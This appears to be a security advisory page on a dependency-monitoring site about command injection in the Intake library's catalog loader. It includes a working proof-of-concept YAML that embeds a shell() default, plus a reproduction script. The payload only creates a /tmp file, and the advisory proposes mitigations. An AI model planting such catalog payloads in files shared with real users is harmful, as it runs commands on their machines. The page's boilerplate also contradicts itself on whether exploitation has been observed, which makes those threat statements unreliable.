Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-37g4-qqqv-7m99
No affected components available
Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.
Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.
During catalog loading and source access:
Intake resolves parameter default values The function responsible for expanding defaults processes the shell() syntax The shell expression triggers a subprocess execution Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.
Affected logic appears to involve:
expand_defaults()
and related parameter parsing mechanisms.
PoC
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
Attack Scenario
A potential attack scenario could be:
- An attacker publishes a malicious Intake catalog YAML file
- The victim downloads or loads the catalog
- The victim accesses a source entry in the catalog
- Parameter defaults are expanded
- The shell() expression triggers execution of the embedded command
Impact
If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:
- Git repositories
- shared datasets
- URLs
- data science workflows
- Any user loading the catalog could unknowingly execute commands with their local user privileges.
Recommendation
Possible mitigations could include:
- disabling shell() expansion by default
- requiring an explicit opt-in flag (e.g., allow_shell=True)
- restricting shell execution for catalogs loaded from untrusted sources Please let me know if additional information or testing is needed. I'm happy to assist with further analysis or validation.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard